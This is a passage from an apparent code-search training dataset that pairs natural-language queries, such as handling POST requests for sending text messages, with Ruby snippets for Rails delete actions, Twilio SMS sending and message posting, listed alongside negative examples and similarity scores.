}\r\n end\r\n end", "def delete\n eadid = (params[\"eadid\"] || \"\").strip\n if eadid == \"\"\n log_error(\"Cannot delete EAD. No ID was provided.\")\n flash[:alert] = \"No EAD ID was provided.\"\n redirect_to upload_list_url()\n return\n end\n\n filename = ENV[\"EAD_XML_PENDING_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n if !File.exist?(filename)\n log_error(\"Cannot delete EAD. File was not found: #{filename}\")\n flash[:alert] = \"Source file not found for finding aid: #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n target = ENV[\"EAD_XML_DELETED_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n FileUtils.mv(filename, target)\n\n if !File.exist?(target)\n log_error(\"File delete failed: #{filename}\")\n flash[:alert] = \"Could not delete finding aid #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n Rails.logger.info(\"Findind aid #{eadid} has been deleted\")\n flash[:notice] = \"Findind aid #{eadid} has been deleted\"\n redirect_to upload_list_url()\n rescue => ex\n render_error(\"delete\", ex, current_user)\n end", "def delete!\n Recliner.delete(uri)\n end", "def destroy\n @especificacao = Especificacao.find(params[:id])\n @especificacao.destroy\n\n respond_to do |format|\n format.html { redirect_to(especificacaos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @conseq = Conseq.find(params[:id])\n @conseq.destroy\n\n respond_to do |format|\n format.html { redirect_to(conseqs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @absence_request = AbsenceRequest.find(params[:id])\n @absence_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(absence_requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @visaapp = Visaapp.find(params[:id])\n @visaapp.destroy\n\n respond_to do |format|\n format.html { redirect_to(visaapps_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reclamo = Reclamo.find(params[:id])\n @reclamo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reclamos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @expedicao = Expedicao.find(params[:id])\n @expedicao.destroy\n\n respond_to do |format|\n format.html { redirect_to(expedicoes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @allergen = Allergen.find(params[:id])\n @allergen.destroy\n\n respond_to do |format|\n format.html { redirect_to(allergens_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ordendetalle = Ordendetalle.find(params[:id])\n @ordendetalle.destroy\n\n respond_to do |format|\n format.html { redirect_to(ordendetalles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @recurso = Recurso.find(params[:id])\n @recurso.destroy\n\n respond_to do |format|\n format.html { redirect_to(recursos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @aanwezig = Aanwezig.find(params[:id])\n @aanwezig.destroy\n\n respond_to do |format|\n format.html { redirect_to(aanwezigs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @associate = Associate.find(params[:id])\n @associate.destroy\n\n respond_to do |format|\n format.html { redirect_to(associates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rede = Rede.find(params[:id])\n @rede.destroy\n\n respond_to do |format|\n format.html { redirect_to(redes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @revenu = @foyer.revenus.find(params[:id])\n @revenu.destroy\n\n respond_to do |format|\n format.html { redirect_to foyer_revenus_url(@foyer) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ambito = Ambito.find(params[:id])\n @ambito.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambitos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @entrada = @mini_blog.entradas.find(params[:id])\n @entrada.destroy\n\n respond_to do |format|\n format.html { redirect_to(mini_blog_path(@mini_blog)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @atividade_avaliacao = AtividadeAvaliacao.find(params[:id])\n @atividade_avaliacao.destroy\n\n respond_to do |format|\n format.html { redirect_to(atividade_avaliacaos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @frequencia_setor = Frequencia::Setor.find(params[:id])\n @frequencia_setor.destroy\n\n respond_to do |format|\n format.html { redirect_to(frequencia_setores_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @orc_empenho_iten = OrcEmpenhoIten.find(params[:id])\n @orc_empenho_iten.destroy\n\n respond_to do |format|\n format.html { redirect_to(orc_empenho_itens_url) }\n format.xml { head :ok }\n end\n end", "def deleteEntityDocument( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/document\",params)\n end", "def destroy\n @correspondence = Correspondence.find(params[:id])\n @correspondence.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondences_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @alumini = Alumini.find(params[:id])\n @alumini.destroy\n\n respond_to do |format|\n format.html { redirect_to(aluminis_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @relatorio = Relatorio.find(params[:id])\n @relatorio.destroy\n\n respond_to do |format|\n format.html { redirect_to(home_path) }\n format.xml { head :ok }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end" ]
[ "0.7153138", "0.7004633", "0.6473098", "0.64406335", "0.64240724", "0.638133", "0.6367519", "0.62814295", "0.6275722", "0.62712455", "0.6257363", "0.6256633", "0.6238329", "0.6228341", "0.62267363", "0.62140846", "0.62014836", "0.61981595", "0.6177467", "0.61750394", "0.61674845", "0.61644423", "0.6164439", "0.61622494", "0.61538976", "0.6146201", "0.6145209", "0.6142663", "0.6140502", "0.61397386", "0.6138962", "0.61373484", "0.61238724", "0.6122941", "0.6118656", "0.6116964", "0.6113593", "0.61117655", "0.6111351", "0.6110136", "0.61055934", "0.61020845", "0.6091031", "0.6087038", "0.6084894", "0.60825866", "0.60821044", "0.6078988", "0.60753083", "0.6065195", "0.6057905", "0.6053607", "0.60477394", "0.6045184", "0.6045163", "0.60412383", "0.60379726", "0.60372335", "0.60343176", "0.60343176", "0.602846", "0.6026867", "0.6026178", "0.60242534", "0.602334", "0.60226446", "0.602228", "0.60220575", "0.6021617", "0.60191405", "0.6014913", "0.60149074", "0.6012887", "0.6010273", "0.6009111", "0.6009058", "0.6007495", "0.6007341", "0.6005474", "0.6003147", "0.600078", "0.5998177", "0.5996983", "0.5992701", "0.5989581", "0.5988138", "0.5985878", "0.5982265", "0.59790564", "0.59769434", "0.5975876", "0.59730965", "0.597233", "0.597228", "0.59700775", "0.5968996", "0.5967277", "0.5962646", "0.5962388", "0.5959849" ]
0.61546797
24
Handle post requests for sending text messages
def create to = params[:to] unless to raise IOError, "Incorrect params for sending text message" end @client = Twilio::REST::Client.new( CONFIG[:twilio_account_sid], CONFIG[:twilio_auth_token]) @account = @client.account @message = @account.sms.messages.create({ :from => CONFIG[:twilio_phone_number], :to => to, :body => "Happy Mining! #{CONFIG[:ios_app_link]}"}) rescue => ex handle_exception(ex) ensure respond_to do |format| format.json end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def post(message)\n puts message\n end", "def post(message)\n puts message\n end", "def post(content)\n post_to(\"/api/v1/messages/\", {:body => content})\n end", "def post_message(text)\n body ={\n \"title\" => @from_name,\n \"picture\" => @from_picture,\n \"message\" => text\n }\n\n self.class.post(room_path, request_options(body))\n end", "def send_message(text)\n end", "def post(request, _params)\n formatter = WeChatMessageFormatter.new\n message = formatter.parse_incoming_message(request.body.read.to_s)\n # Parse the WeChat message XML format\n\n if message['valid']\n # Queue the message for delayed processing\n @db_manager.store_message(message)\n\n # WeChat always requires incoming user messages to be acknowledged at\n # least with an empty string (empty strings are not shown to users),\n # see: https://chatbotsmagazine.com/building-chatbots-for-wechat-part-1-dba8f160349\n # In this sample app, we simulate a \"Customer Service\"-like scenario\n # providing an instant reply to the user, announcing that a complete\n # reply will follow.\n reply = \"Thank you for your message. We will get back to you as soon as possible!\"\n return formatter.format_instant_reply(message, reply)\n end\n\n return 'Message was sent in a wrong format.'\n end", "def post_message\n\t\tdata = {\n\t\t\t:name => \"test_name_#{rand(256)}\",\n\t\t\t:message => \"test_name_#{rand(256)}\"\n\t\t}\n\t\tpost '/', data\n\t\t# Refering to the data variable in the last line of the code block\n\t\t# will cause data to be the return value.\n\t\tdata\n\tend", "def smssend\n http = get_http_connection() \n post_args = { 'number' => params[:number], 'text' => params[:text],'replyto' => params[:replyto], 'name' => @pysmsd_config.app_name, 'password' => @pysmsd_config.app_password }\n \n request = Net::HTTP::Post.new('/messages/out.json')\n request.set_form_data(post_args)\n resp = http.request(request)\n json = JSON.parse(resp.body)\n render_json :entry => json\n end", "def send_text\n\nend", "def post( text )\n message = {\n 'time' => Time.now.strftime('%Y%m%d%H%M%S'),\n 'text' => text\n }\n\n data['plans'][me]['messages'] << message\n end", "def create\n if request.post?\n\n @to = params[:From] ||= params[:post][:from]\n @body = params[:Body] ||= params[:post][:body]\n\n @post = Post.new(\n :from => @caller_id,\n :to => @to,\n :body => @body\n ) \n\n @preserved_body = @body.clone\n @body.upcase!\n\n preserved_text = @preserved_body.split(\" \")\n text = @body.split(\" \")\n if (text[0] == \"NYT\")\n textback = ''\n textback = nyt(text[1])\n puts \"in the nyt loop\"\n puts textback\n send_message(textback,@to)\n elsif (text[0] == \"ESPN\")\n textback = ''\n textback = espn(text[1])\n send_message(textback,@to)\n elsif (text[0] == \"MAP\")\n places = @body[3..-1]\n pl_arr = places.split(\"|\")\n puts \"ORIGIN IS #{pl_arr[0]}\"\n puts \"DEST IS #{pl_arr[1]}\"\n msg = get_directions(pl_arr[0],pl_arr[1],@to)\n puts msg\n send_message(msg,@to)\n # google_maps_pic(@body[3..-1])\n elsif (text[0] == \"DDG\")\n send_message(duckduckgo(text[1]),@to)\n elsif (text[0] == \"EBAY\")\n textback = ''\n\n keywords = ''\n preserved_keywords = ''\n text.each.with_index do |thing, idx|\n if (idx > 1)\n if (keywords == '')\n keywords = thing\n else \n keywords = keywords + ' ' + thing\n end\n end\n end\n\n preserved_text.each.with_index do |thing, idx|\n if (idx > 1)\n if (preserved_keywords == '')\n preserved_keywords = thing\n else \n preserved_keywords = preserved_keywords + ' ' + thing\n end\n end\n end\n\n textback = ebay(text[1], keywords, preserved_keywords) #second and third\n\n p textback\n send_message(textback,@to)\n elsif (text[0] == \"HELP\")\n send_message(help(),@to)\n end\n \n\n @post.save \n\n render 'index'\n end\n end", "def text\n lead = Lead.find(params[:lead_id])\n client = Twilio::REST::Client.new\n if params[:auto_text] || !params[:body].blank?\n client.messages.create(\n from: ENV['TWILIO_PHONE_NUMBER'],\n to: lead.phone,\n body: params[:auto_text] ? custom_message(lead.first_name) : params[:body]\n )\n flash[:success] = \"Text Sent!\"\n else\n flash[:alert] = \"NO TEXT SENT\"\n end\n redirect_to \"/leads/#{lead.id}/edit\"\n rescue Twilio::REST::RequestError => error\n redirect_to \"/leads/#{lead.id}/edit\"\n flash[:alert] = \"NO TEXT SENT - #{error}\"\n end", "def post_message(token, channel, text, username)\n uri = URI.parse(URL[\"post_msg\"])\n params = { :token => token,\n :channel => channel,\n :text => text,\n :username => username,\n :as_user => true }\n uri.query = URI.encode_www_form( params )\n return JSON.parse( uri.open.read )\n end", "def handle_POST(request)\n\tinitial_and_headers,body = initialandheaders_Body_Split(request)\n\tinitial,headers = initial_Headers_Split(initial_and_headers)\n\tparams = JSON.parse(body) # parse parameters from json file\n\tcontents = File.read \"thanks.html\"\n\tcontents = modify_content(contents, params[\"viking\"])\n\tinitial = generic_Generate_Initial(200)\n\theaders = generic_Generate_Headers(contents)\n\tgeneric_Generate_Response(initial,headers,contents)\nend", "def text_params\n {\n 'ToUserName' => 'FAKE_VALID_USERNAME',\n 'FromUserName' => 'FAKE_VALID_FROMUSERNAME',\n 'CreateTime' => '1501489767',\n 'MsgType' => 'text',\n 'Content' => 'ping', # will send a pong\n }\nend", "def post; end", "def message(user, text)\n post('/direct_messages/new.json', :user => user, :text => text)\n end", "def message(user, text)\n post('/direct_messages/new.json', :user => user, :text => text)\n end", "def post\r\n end", "def say(text, options = {})\n request = Net::HTTP::Post.new(@uri.request_uri)\n request.body = encode_payload(text, options)\n response = @http.request(request)\n return nil # so as not to trigger text in outgoing webhook reply\n end", "def incoming \n response.headers[\"Content-Type\"] = \"text/plain; charset=utf-8\"\n #Read params from the text message\n \n if (params[:uid] && params[:body])\n @userid = params[:uid]\n @body = params[:body] \n \n sms = Sms.new(:raw => @body, :login => @userid)\n \n sms.parse\n \n user = User.find_by_login(sms.login)\n \n if user.nil?\n render :text => \"User #{sms.login} couldn't be found, have you signed up at #{AZIMUTH_DOMAIN}?\" \n else\n hunt = user.hunt\n if hunt.nil?\n render :text => \"User #{sms.login} doesn't appear to have signed up for a hunt. Please sign up for one at #{AZIMUTH_DOMAIN}.\"\n else\n if hunt.aasm_current_state == :hunting\n discovery = Discovery.new(:treasure => user.current_treasure, :key => sms.key, :lat => sms.lat, :lng => sms.lng, :hunt => hunt, :user => user)\n hunt.attempt_open_treasure_chest(discovery, user)\n user.save!\n hunt.save!\n discovery.save!\n \n if discovery.success?\n render :text => \"\" # don't send extra texts since the hunt will do it for us...\n else\n render :text => \"What you texted didn't open the treasure chest :-(. Coords: #{sms.lat} #{sms.lng}. Key: #{sms.key}\"\n end\n else\n render :text => \"The hunt #{hunt.name} is currently in #{hunt.state.humanize} state. Please wait for the hounds to be released to get your first clue.\"\n end\n end\n end\n else\n render :text => \"\"\n end\n \n end", "def handle_message(request, message)\n #\n end", "def webhook\n\t\t# 學說話\n\t\tbegin\n\t\t\treply_text = command_trigger(channel_id, received_text)\n\t\trescue\n\t\t\tnil\n\t\tend\n\t\t# 關鍵字回覆\n\t\treply_text = keyword_reply(channel_id, received_text) if reply_text.nil?\n\n\t\t# 傳送訊息到 line\n\t\tresponse = reply_to_line(reply_text)\n\n\t\t# 回應 200\n\t\thead :ok\n\tend", "def POST; end", "def push_text(stream, title, message)\n post stream, 'title' => title, 'msg' => message\n end", "def post_message(params)\n self.class.post('/chat.postMessage', body: params.merge({token: @token})).tap do |response|\n raise \"error posting message: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end\n end", "def post\n end", "def post_messages!(hash)\n Net::HTTP.post_form(URI.parse(@target), {'data'=>hash.to_json})\n end", "def send_msg\n req = Net::HTTP::Post.new('/nodes/receive', initheader = {'Content-Type' =>'application/json'})\n node = Cue.find_by_id(params[:id])\n if node then\n url = uri.parse(node.url)\n req.body = node.payload\n log_action \"sending single msg #{node.id}\"\n req2 = net::http.new(url.host, url.port)\n response = req2.start {|http| http.request(req) }\n response_parse = json.parse(response.body)\n log_action(\"received from node: \" + response.body)\n node.update_attribute :is_handled, true\n end\n redirect_to request.referer\n end", "def type(text:)\n conn = multipart_connection(port: 8060)\n text.split(//).each do |c|\n path = \"/keypress/LIT_#{CGI::escape(c)}\"\n @logger.debug(\"Send Letter: \"+path)\n response = conn.post path\n return false unless response.success?\n end\n return true\n end", "def work(raw_post)\n email_params = JSON.parse(raw_post).with_indifferent_access\n send_simple_message(params)\n ack! # we need to let queue know that message was received\n end", "def receive\n begin\n message = save_message\n rescue => err\n render :text => err.message, :status => 400\n return\n end\n \n begin\n message.process! params\n rescue => err\n message.reply = err.message\n ensure\n if (message.reply != \"Invalid command\")\n collection_id = get_collection_id(params[:body])\n if collection_id and collection_id >0\n message[:collection_id] = collection_id\n end\n end\n message.save\n render :text => message.reply, :content_type => \"text/plain\"\n end\n end", "def post_message(params)\n self.class.post('/chat.postMessage', body: params.merge({token: @token})).tap do |response|\n raise \"error posting message: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end\n end", "def handle_request\n payload = @req.POST[\"payload\"]\n\n return rude_comment if payload.nil?\n\n puts payload unless $DEPLOYED # remove me!\n\n payload = JSON.parse(payload)\n# render_payload_to_hipchat(payload)\n @res.write THANK_YOU_COMMENT\n end", "def post\n messages.each do |message|\n Flowdock::Client.new(flow_token: @token).post_to_thread(message)\n end\n end", "def direct_messages_new(recipient, text)\n post_params = {:user => recipient, :text => text}\n post \"direct_messages/new\", post_params\n end", "def reply(event)\n msg = event.message['text']\n mk_reply(msg)\nend", "def create_message(user_id, recipient_id, token , subject, message)\n response = self.class.post('/messages', body: { \"user_id\": user_id, \"recipient_id\": recipient_id,\"token\": token , \"subject\": subject, \"stripped-text\": message }, headers: { \"authorization\" => @auth_token })\n puts response\n\n end", "def send_message(message); end", "def send_message(message); end", "def send_message(msg); end", "def message_post( type, url, message, extra_parameters = {} )\n\t\t\tparams = Hash.new\n\t\t\tif extra_parameters\n\t\t\t\tparams.merge!(extra_parameters)\n\t\t\tend\n\t\t\t\n\t\t\t# POST requests seem to bomb out when they're deflated\n\t\t\t# and they probably don't need to be compressed anyway\n\t\t\tparams[type] = encode(message)\n\t\t\t\n\t\t\t#Logging.debug \"SAMLRequest=#{@request_params[\"SAMLRequest\"]}\"\n\t\t\t# kind of a cheesy method of building an HTML, form since we can't rely on Rails too much,\n\t\t\t# and REXML doesn't work well with quote characters\n\t\t\tstr = \"<html><body onLoad=\\\"document.getElementById('form').submit();\\\">\\n\"\n\t\t\tstr += \"<form id='form' name='form' method='POST' action=\\\"#{@URL}\\\">\\n\"\n\t\t\t# we could change this in the future to associate a temp auth session ID\n\t\t\tstr += \"<input name='RelayState' value='ruby-saml' type='hidden' />\\n\"\n\t\t\tparams.each_pair do |key, value|\n\t\t\t\tstr += \"<input name=\\\"#{key}\\\" value=\\\"#{value}\\\" type='hidden' />\\n\"\n\t\t\t\t#str += \"<input name=\\\"#{key}\\\" value=\\\"#{CGI.escape(value)}\\\" type='hidden' />\\n\"\n\t\t\tend\n\t\t\tstr += \"</form></body></html>\\n\"\n\t\t\t\n\t\t\tLogging.debug \"Created form:\\n#{str}\"\n\t\t\treturn str\n\t\tend", "def send_direct_message!( screen_name, text )\n\t\tresponse = access_token.post('/direct_messages/new.json', { :screen_name => screen_name, :text => text })\n\t\tcase response\n\t\twhen Net::HTTPSuccess\n\t\t\tmessage=JSON.parse(response.body)\n\t\t\traise TwitterOauth::UnexpectedResponse unless message.is_a? Hash\n\t\t\tmessage\n\t\telse\n\t\t\traise TwitterOauth::APIError\n\t\tend\n\trescue => err\n\t\tputs \"Exception in send_direct_message!: #{err}\"\n\t\traise err\n\tend", "def test_post_message\n to_number = \"+15005550007\"\n msg = \"I'm texting to a valid number.\"\n \n assert_nothing_raised {@texts_controller.post_message(to_number,msg)}\n end", "def raw_post; end", "def post_data; end", "def telegram\n #capatalize the title\n post_params[:title].upcase!\n content = post_params[:content]\n #count every char in the content of the post\n charCount = content.count(\"a-z\")\n #this is computer by figuring that a: there is a telegram service in Canada that exists today\n #http://www.globalpost.com/dispatch/news/the-canadian-press/130618/you-can-still-send-telegram-2013-itll-cost-you-19\n #$18.95 divided by 100 words, at 4 chars avg a word, equals 4.7375 cents per char.\n #in the future, store monetary values as int, millicents (the amount of money * 1000 as an integer)\n #this way you do not lose the rounding errors of floats\n cost = ((charCount.to_f * 4.7375) / 100.00)\n #replace every period with the classic STOP as it used to be, and make the whole contents upper case.\n content.gsub!(/\\./, ' -(STOP)- ').upcase!\n #set the newly formatted post to params[:content] so that it can be passed into post.create\n post_params[:content] = content\n post_params[:cost] = cost\n end", "def show_message_request(text, type, actions, &block); end", "def post(chat, *lines)\n msg = lines.join(' ')\n @client.send_message(\n chat_id: chat,\n parse_mode: 'Markdown',\n disable_web_page_preview: true,\n text: msg\n )\n rescue Telebot::Error => e\n raise CantPost, \"#{e.message}, can't post this message: \\\"#{msg}\\\"\"\n end", "def handle_message(is_bot, channel, user, text, modes=[])\n puts \"Received message from IRC: #{channel} #{user} #{text}\"\n\n HTTParty.post \"#{$config['streaming_pub']}?id=#{channel.gsub('#','')}\", {\n body: {\n text: text,\n nick: user.nick\n }.to_json,\n verify: false\n }\nend", "def new\n # call to create will generate a new post with these information and on this aspect\n text=params[:text]\n logger.info('activities_controller.new [text] '+text)\n # OLD # message = {'status_message'=>{'text'=>text},'aspect_name' => params[:id]}\n # OLD # @response =JSON.parse(current_user.access_token.token.post('/api/v0/posts/new', message))\n if (text.include?(\" enter \") || text.include?(\" leave \"))\n user = text.split[0] # split already separates using spaces between words\n domain = \"@idea.itu.dk:3000\"\n mention = \"@{\"+user+\"; \"+user+domain+\"}\" \n text_el = text.split\n msg = mention + \" \"+ text_el[1]+\" \"+text_el[2]\n else\n msg=text\n end \n message = {'status_message'=>{'text'=>msg},'aspect_name' => params[:id],'tag'=> params[:id]}\n @response =JSON.parse(current_user.access_token.token.post('/api/v0/create', message))\n \n\n\n # Generate a post on the genie hub\n # POST http://tiger.itu.dk:8004/informationbus/publish\n # (form encoded)\n # event=<event>\n getConn\n event = {\"activity\"=>params[:id],\"actor\"=>current_user.diaspora_id.split('@')[0],\"content\"=>text,\"timestamp\"=>\"\",\"generator\"=>\"server\"}.to_json\n @gh_respons = @conn.post '/informationbus/publish', {:event=>event}\n \n @status_message = @response\n respond_to do |format|\n format.html\n format.json {render :json=> @response, :callback=>params[:callback]}#{render json: @response}\n end\n \n end", "def post!( text, password )\n post text\n push password\n end", "def post_data\n case params[:oper]\n when 'add'\n @message = {}\n @message[\"status\"] = ''\n create\n when 'edit'\n update\n when 'del'\n destroy\n end\n end", "def post(command, *params)\n m = Message.new(nil, command, params.map {|s|\n if s\n #s.force_encoding(\"ASCII-8BIT\") if s.respond_to? :force_encoding\n #s.gsub(/\\r\\n|[\\r\\n]/, \" \")\n s.tr(\"\\r\\n\", \" \")\n else\n \"\"\n end\n })\n\n @log.debug \"SEND: #{m.to_s.chomp}\"\n @socket << m.to_s\n end", "def post(data = \"\")\n submit :Post, data\n end", "def handle_message(data)\n if @encoding == :etf\n handle_etf_message(data)\n else\n handle_json_message(data)\n end\n end", "def post *args, &block\n handle @conn.post *args, &block\n end", "def _send_message data\n response << data\n end", "def send(message)\n headers = { 'Content-Type' => 'application/json' }\n payload = { text: message }.to_json\n HTTParty.post(@webhook_url, body: payload, headers: headers)\n end", "def create\n\n begin\n\n text = params[\"Content\"]\n\n if !text.downcase.start_with?(\"test\")\n mobile = params[\"MSISDN\"]\n if !mobile.start_with?(\"+\")\n mobile = \"+#{mobile}\"\n end\n\n service = SmsService.new\n\n @message = SmsService.handle_sms_sending(text, mobile)\n\n render text: 'success', status: 200\n else\n if Rails.env == \"production\"\n msg = text.split(\" \")[1]\n HTTParty.post(ENV['DEVELOPEMENT_SERVER_URL'], :query => { \"Content\" => msg, \"MSISDN\" => params[\"MSISDN\"] })\n end\n render text: 'success', status: 200\n end\n rescue => error\n respond_to do |format|\n format.all { render json: (@message.errors if [email protected]?), status: :unprocessable_entity }\n end\n end\n end", "def process_outgoing_message(id, text) \n return if self.process_command(id, text.split.first, text.split[1..-1]) or not self.online? # try to execute commands\n @logger.warn 'Sending message to chat %s' % id\n reply = text.lines[0].scan(/\\d+/).first.to_i if text.lines[0] =~ /^> ?[0-9]{10}/ \n text = TD::Types::FormattedText.new(text: !reply ? text : text.lines[1..-1].join, entities: [])\n message = TD::Types::InputMessageContent::Text.new(text: text, disable_web_page_preview: false, clear_draft: false)\n return (id) ? @telegram.send_message(id, reply.to_i, nil, nil, message).rescue{|e| @xmpp.send_message(@jid, id, \"Not sent: %s\" % e)} : message\n end", "def post(forum, topic, message)\n self.validate_post_input(forum, topic, message)\n self.auth.login_with_raises\n uri = self.get_reply_uri(forum, topic)\n page = get_reply_page(uri)\n form = get_post_form(page)\n set_message(form, message)\n page = post_message(form)\n post = get_post_from_result(page)\n\n { :forum => forum,\n :topic => topic,\n :post => post,\n :message => message,\n :result => true }\n end", "def text_test\n params.inspect\n # Parameters: \n # {\"ToCountry\"=>\"US\", \n # \"ToState\"=>\"UT\", \n # \"SmsMessageSid\"=>\"SM5d11339688438ea6840b1ff5cf6b3e33\", \n # \"NumMedia\"=>\"0\", \n # \"ToCity\"=>\"PARK CITY\", \n # \"FromZip\"=>\"84770\", \n # \"SmsSid\"=>\"SM5d11339688438ea6840b1ff5cf6b3e33\", \n # \"FromState\"=>\"UT\", \n # \"SmsStatus\"=>\"received\", \n # \"FromCity\"=>\"ST GEORGE\", \n # \"Body\"=>\"testing 5678\", \n # \"FromCountry\"=>\"US\", \n # \"To\"=>\"+14352141844\", \n # \"ToZip\"=>\"84098\", \n # \"NumSegments\"=>\"1\", \n # \"MessageSid\"=>\"SM5d11339688438ea6840b1ff5cf6b3e33\", \n # \"AccountSid\"=>\"ACfb03eaaab63e59c4a90d5bf07b5f6f70\", \n # \"From\"=>\"+14356691878\", \n # \"ApiVersion\"=>\"2010-04-01\"}\n from = params[:From]\n\n end", "def process_message(message)\n end", "def send_text_message(subscriber, message)\n handle_manychat_response(send_content(subscriber, [create_message_text_hash(message)]))\n end", "def handle_input(patch, json_message, &callback)\n message_hash = JSON.parse(json_message, :symbolize_names => true)\n message = Message.new(message_hash)\n @log.puts(\"Recieved message: #{message_hash.to_json}\") if @log\n yield(message) if block_given?\n message\n end", "def setMessage(content, isRequest)\n\n @txt_input.text = \"Text is not Modified.\".to_java_bytes if @txt_input.textModified\n\n if isRequest\n makelog \"start request audit\"\n @txt_input.text = \"HTTP Request is nil or empty.\".to_java_bytes if content.nil? or content.empty?\n resultlist = []\n begin\n formatedRequest = parse_request(content.to_s)\n checklist = conduct_policy(formatedRequest)\n resultlist += lunchRequestBasedAudit(checklist,formatedRequest)\n basic = BasicAnalyzer.new(formatedRequest)\n # resultlist << basic.paraSetEmpty\n display_data = dataEdit(resultlist)\n display_data.size\n if display_data.size > 0\n @txt_input.text = display_data.to_java_bytes\n else\n @txt_input.text = \"Nothing to display\".to_java_bytes\n end\n rescue\n @stderr.write(\" error: #{$!} at#{$@}\\n\".to_java_bytes)\n end\n\n else\n @txt_input.text = \"HTTP Reponse is nil or empty.\".to_java_bytes if content.nil? or content.empty?\n\n lines= content.to_s.split(\"\\n\")\n body = \"\"\n lines.each_with_index{|each,index| body = each if each.chomp =~ /^\\{.*\\}$/ }\n if body.size > 0\n body = body.chomp\n begin\n hash = JSON.parse body\n body = JSON.pretty_generate hash\n rescue\n @stderr.write(\" error: #{$!} at#{$@}\\n\".to_java_bytes)\n end\n @txt_input.text = body.to_java_bytes\n else\n @txt_input.text = content.to_s.to_java_bytes\n end\n end\n @txt_input.editable = @editable\n\n end", "def post\n if phase.has_key?('post')\n execute(\"post\", phase['post'])\n end\n end", "def send_simple_message\n user_email = params[ :from ]\n subject = params[ :subject ]\n text = params[ :text ]\n\n mailgun_api = Rails.application.secrets.secret_mailgun_api\n RestClient.post 'https://api:' + \"#{mailgun_api}\" +\n '@api.mailgun.net/v3/aondebrasil.com/messages',\n from: user_email,\n to: '[email protected]',\n subject: subject,\n text: text\n\n respond_to do |format|\n format.json { render json: \"enviado\".to_json }\n end\n end", "def create\n @text = Text.new(text_params)\n notify_android(text_params[:token])\n respond_to do |format|\n if @text.save\n format.html { redirect_to @text, notice: 'Text was successfully created.' }\n format.json { render :show, status: :created, location: @text }\n else\n format.html { render :new }\n format.json { render json: @text.errors, status: :unprocessable_entity }\n end\n end\n end", "def sub_post\n page(NavTabBarPage).select_storytab(\"Reply\")\n page(SubmissionPage).create_post(\"reply post\")\n page(NavTabBarPage).flag_handler(\"Cancel\")\n page(SubmissionPage).touch_discard\n end", "def post_message(form)\n begin\n config.sleep_before_post\n form.submit\n rescue StandardError => err\n raise Impostor::PostError.new(err)\n end\n end", "def send_text(text)\n client.api.send_message(id, text)\n end", "def process_request(params)\n if params[:text] == \"\"\n response = get_all_features\n else\n response, feature = get_feature(params[:text])\n send_incoming_webhook(params[:text], feature, params[:channel_id]) unless feature.nil?\n end\n response\nend", "def create\n @message = Message.new(params[:message])\n @message.sender = \"cmu3071\" #THIS NEEDS TO BE CHANGED WHEN OAF RECEIVES THEIR OWN SHORTCODE\n @message.time = Time.now\n \n body = @message.body\n phones = Message.split_numbers(@message.recipient)\n\n phones.each do |ph|\n phone = Message.reformat_phone(ph)\n puts \"PHONE: #{phone}\"\n url = Message.text_to(phone,body)\n puts \"URL: #{url}\"\n newUrl = URI.parse(URI.encode(url.strip))\n http = Net::HTTP.new(newUrl.host,443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n @data = http.get(newUrl.request_uri)\n puts \"STATUS: #{@data.code}\"\n puts \"BODY: #{@data.body}\"\n puts \"RESPONSE: #{@data}\"\n end\n \n respond_to do |format|\n if @message.save\n format.html { redirect_to @message, notice: 'Message was successfully created.' }\n format.json { render json: @message, status: :created, location: @message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(message, params = {})\n return if options[:quiet]\n ActiveResource::Base.logger = Logger.new(STDOUT) if options[:trace]\n Socialcast::CommandLine::Message.configure_from_credentials\n response = Socialcast::CommandLine::Message.create params.merge(:body => message)\n say \"Message has been posted: #{response.permalink_url}\"\n end", "def send_text_message(body)\n if self.mobile.present?\n begin\n TWILIO_CLIENT.messages.create(from: ENV['TWILIO_PHONE_NUMBER'], to: self.mobile, body: body)\n rescue Twilio::REST::RequestError => e\n puts \"Twilio Error: #{e.message}\"\n end\n end\n end", "def smsFail1 \n response = HTTParty.post($uris, :body => {message: App.message})\nend", "def ms_translate(text)\n https = Net::HTTP.new(@uri.host, @uri.port)\n https.use_ssl = true\n begin\n req = Net::HTTP::Post.new(@uri.request_uri, @headers)\n 